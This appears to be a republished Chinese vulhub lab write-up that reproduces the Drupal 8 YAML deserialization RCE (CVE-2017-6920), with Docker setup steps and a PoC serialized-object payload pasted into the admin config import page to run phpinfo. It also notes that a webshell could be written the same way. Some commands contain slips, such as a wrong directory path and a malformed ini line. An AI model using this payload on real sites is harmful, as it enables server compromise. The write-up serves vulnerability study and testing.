[ vulhub漏洞复现篇 ] Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

news2024/10/2 16:22:00

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2017-6920环境
    • 2、启动CVE-2017-6920环境
    • 3、查看CVE-2017-6920环境
    • 4、安装yaml拓展
    • 5、访问CVE-2017-6920环境
    • 6、查看CVE-2017-6920漏洞提示信息
    • 7、关闭CVE-2017-6920环境
  • 五、漏洞复现
    • 1、访问漏洞点
    • 2、导入POC
    • 3、复现成功
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2017-6920

二、影响范围

Drupal < 8.3.4

三、漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。CVE-2017- 6920 是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

四、环境搭建

1、进入CVE-2017-6920环境

cd vulhub/confluence/CVE-2017-6920

在这里插入图片描述

2、启动CVE-2017-6920环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2017-6920环境

docker-compose ps

在这里插入图片描述

4、安装yaml拓展

1.查看容器信息

docker ps

在这里插入图片描述

2.进入容器

docker exec -it 容器ID /bin/bash

在这里插入图片描述

3.换镜像源
默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源

cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF

在这里插入图片描述

4.安装依赖

apt update 

在这里插入图片描述

apt-get -y install gcc make autoconf libc-dev pkg-config 

在这里插入图片描述

apt-get -y install libyaml-dev

在这里插入图片描述

  1. 安装yaml扩展
pecl install yaml

在这里插入图片描述

pecl install yaml docker-php-ext-enable yaml.so 

在这里插入图片描述

6.启用 yaml.decode_php

echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini

在这里插入图片描述

7.退出容器

exit

在这里插入图片描述

8.重启容器

docker restart 容器ID

在这里插入图片描述

5、访问CVE-2017-6920环境

环境启动后,访问http://your-ip:8080,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文

在这里插入图片描述

一直默认安装就行,然后数据库配置这一块儿选择SQLite

在这里插入图片描述

然后就会自动安装srupal

在这里插入图片描述

设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了

在这里插入图片描述

更新配置中

在这里插入图片描述

自动登录进入了网站

在这里插入图片描述

6、查看CVE-2017-6920漏洞提示信息

cat README.md

在这里插入图片描述

7、关闭CVE-2017-6920环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、访问漏洞点

登录管理员账户,访问

http://your-ip:8080/admin/config/development/configuration/single/import

界面如下:

在这里插入图片描述

2、导入POC

如下图所示,配置类型选择 简单配置,配置名称任意填写,文本处中填写PoC如下:

!php/object"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

在这里插入图片描述

点击导入,漏洞触发:

在这里插入图片描述

3、复现成功

回显出phpinfo信息

在这里插入图片描述

既然能执行命令,那我们也可以写入webshell

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/352510.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Django框架进阶版

一、Django介绍 1.起源 2005年发布&#xff0c;采用python语言编写的。 早期Django主要做新闻和内容管理 重量级python web框架&#xff0c;配备了大量组件 2.组件 包含组件如下 基本配置文件/路由系统 MTV设计模式 Cookies和Session 分页和发邮件 Admin管理后台 3…

2023美赛A题完整数据!思路代码数据数学建模

选取内蒙古河套灌区&#xff08;典型干旱区&#xff09;2010-2020年气温&#xff0c;降雨&#xff0c;蒸散发和水汽压月数据 包括四种主要作物及其占比 内容截图如下&#xff1a; 链接为&#xff1a;https://www.jdmm.cc/file/2708703 同时还提供参考代码和参考文章的选项~…

格式化字符串

组包&#xff1a;按照需要的格式组成字符串解包&#xff1a;解析特定格式的数据网络信息传输解析字符串的格式使用较多&#xff01;1、sprintf用于组包将零散的数据格式按照固定的格式组成字符串#include <stdio.h> int sprintf(char *str, const char *format, ...); …

博客排名的影响是什么? 说明优点、注册方法和推荐网站

如果您经营博客&#xff0c;您是否在博客排名网站上注册&#xff1f;博客排名网站是以排名格式介绍各种注册博客的网站。如果您注册博客&#xff0c;您将有更多机会被人们看到&#xff0c;并且可以期望增加访问权限。对于那些刚刚打开博客并担心访问量不会轻易增加的人来说&…

王道考研——计算机网络(第一章 计算机网络体系结构)

1.0认识计算机网络 在下载电影&#xff08;不会出现乱序问题&#xff09;和微信收发消息&#xff08;比如表情包乱序了&#xff09;所使用的协议是不同的 1.1-1概念和功能 &#xff08;1&#xff09;计算机网络的概念 &#xff08;2&#xff09;计算机网络的功能 &#xff08;…

酸回收树脂的应用

酸洗废水 在轧钢、金属表面处理、电子元件制造等过程中需要清除钢材表面氧化铁皮而使用酸进行酸洗&#xff0c;酸洗过程中会产生废酸液和酸洗废水。 这些废酸产量大、酸度高&#xff0c;而且由于酸洗废水来自钢铁和金属表面处理的清洗水&#xff0c;水中含有多种重金属离子&am…

2023年美赛F题

关键点1.绿色GDP(GGDP)是否比传统GDP更好好的衡量标准?2.如果GGDP成为经济健康的主要量标准&#xff0c;可能会对环境产生什么影响?3建立一个简单的模型&#xff0c;估计GGDP取代GDP作为经济健康的主要衡量标准&#xff0c;对减缓气候变化产生的影响。4.GGDP取代GDP可能会遇到…

复旦-华盛顿大学EMBA项目二十年20人丨赵中华:“拓荒”新天地

复旦大学-华盛顿大学EMBA项目20周年校友系列访谈。      从业十八载&#xff0c;赵中华的身上始终葆有一种开拓创新的拼劲和韧劲。身为德国威卡集团计量校准事业部中国区销售总监&#xff0c;他认为无论是在开辟新市场时勇敢接受不确定性带来的挑战&#xff0c;还是在遭遇新…

打印不同的图形-课后程序(JAVA基础案例教程-黑马程序员编著-第四章-课后作业)

【案例4-1】打印不同的图形 记得 关注&#xff0c;收藏&#xff0c;评论哦&#xff0c;作者将持续更新。。。。 【案例介绍】 案例描述 本案例要求编写一个程序&#xff0c;可以根据用户要求在控制台打印出不同的图形。例如&#xff0c;用户自定义半径的圆形和用户自定义边长的…

MyBatis-Plus快速入门篇

入门篇1.快速入门1.1数据库准备1.2创建SpringBoot工程&#xff0c;引入MyBatis-Plus和MySQL依赖&#xff0c;可以使用 Spring Initializer快速初始化一个 Spring Boot 工程1.3编写DataSource相关配置&#xff08;配置MySQL数据库连接&#xff09;1.4编码1.5测试2.使用MybatisPl…

【论文阅读】Frustratingly Simple Few-Shot Object Detection

从几个例子中检测稀有物体是一个新出现的问题。 先前的工作表明Meta-Learning是一种有希望的方法。 但是&#xff0c;微调技术很少引起注意。 我们发现&#xff0c;在稀有类上只对现有探测器的最后一层进行微调对于 Few-Shot Object Detection至关重要。 这样一种简单的方法在当…

Yaklang XSS 检测启发式算法(被动扫描插件)

背景 上一篇介绍了XSS 启发式检测基础设施&#xff0c;本篇通过yak提供的基础设施编写一个xss检测插件。 本次xss靶场使用pentesterlab的xss靶场。 环境部署 git clone https://github.com/yaklang/vulinone cd php-web-for-pentester docker-compose up -d编写思路 参考上…

matlab-汽车四分之一半主动悬架模糊控制

1、内容简介汽车四分之一半主动悬架模糊控制651-可以交流、咨询、答疑2、内容说明半主动悬架汽车 1/4 动力学模型建立 本章主要对悬架类型进行简要介绍&#xff0c;并对其进行对比分析&#xff0c;提出半主动悬架的优越性&#xff0c;论述半主动悬架的工作原理&#xff0c;并对…

语音播报警示器技术要求

功能概述&#xff1a; 本系统采用30W太阳能板给12AH铅酸胶体电池充电&#xff1b;通过人体红外探测传感器&#xff0c;能感应到12米范围内有人有车经过&#xff0c;就触发播报防火宣传的语音&#xff0c;并且大红闪灯同步闪烁警示&#xff1b;高清双侧宣传牌&#xff0c;宣传内…

XSS注入基础入门篇

XSS注入基础入门篇1.XSS基础概念2. XSS的分类以及示例2.1 反射型XSS2.1.1 示例1&#xff1a;dvwa low 级别的反射型XSS2.1.2 攻击流程2.2 DOM型XSS2.2.1 示例2&#xff1a;DOM型XSS注入1.环境部署2.基础版本3.进阶绕过2.3 存储型XSS2.3.1 示例1&#xff1a;dvwa low示例2.3.2 攻…

WebADI - 参数的使用

* 本文仅供交流分享&#xff0c;不作为专业指导 最近研究了一下WEBADI文档下载的参数&#xff0c;由于网上这块资料较少&#xff0c;所以专意分享下我的笔记。 准备 集成器&#xff1a;BHSC_EMP_ADI 表值集&#xff1a;BHSC_DEPT_LOV&#xff08;值&#xff1a;dname&#x…

c++学习笔记-提高编程-模板(哔站-黑马程序员c++教学视频)

目录 1、模板概念 2、模板特点 3、模板语法 3.1编程思想&#xff1a;泛型编程 3.2两种模板方法&#xff1a; 3.2.1 函数模板 3.2.2 类模板 1、模板概念 通用的模具&#xff0c;提高代码复用性 2、模板特点 不可以直接使用&#xff0c;只是一个框架&#xff1b;模板的…

JMeter 做接口性能测试,YYDS

简介 本文由xmeter君写给想了解性能测试和JMeter的小白&#xff0c;适合对这两者了解很少的同学们&#xff0c;如果已经有使用经验的请绕道&#xff0c;别浪费时间:-) 我们将介绍JMeter的使用场景&#xff0c;如何安装、运行JMeter&#xff0c;以及开始一个最最简单的测试。 …

房产|1月全国70城房价出炉!疫情放开后你关心的城市房价有何变化

2023年1月份&#xff0c;70个大中城市中新房销售价格环比上涨城市个数增加&#xff1b;一线城市新房销售价格环比同比转涨、二三线城市环比降势趋缓&#xff0c;二三线城市同比下降。 | 新房/二手房12月-1月环比上涨城市数量变化 70个大中城市中&#xff0c;新房环比上涨城市…

RBAC(Role-Based Access Control:基于角色的访问控制)

RBAC是什么 1、RBAC模型概述 RBAC模型&#xff08;Role-Based Access Control&#xff1a;基于角色的访问控制&#xff09;模型是20世纪90年代研究出来的一种新模型&#xff0c;但其实在20世纪70年代的多用户计算时期&#xff0c;这种思想就已经被提出来&#xff0c;直到20世…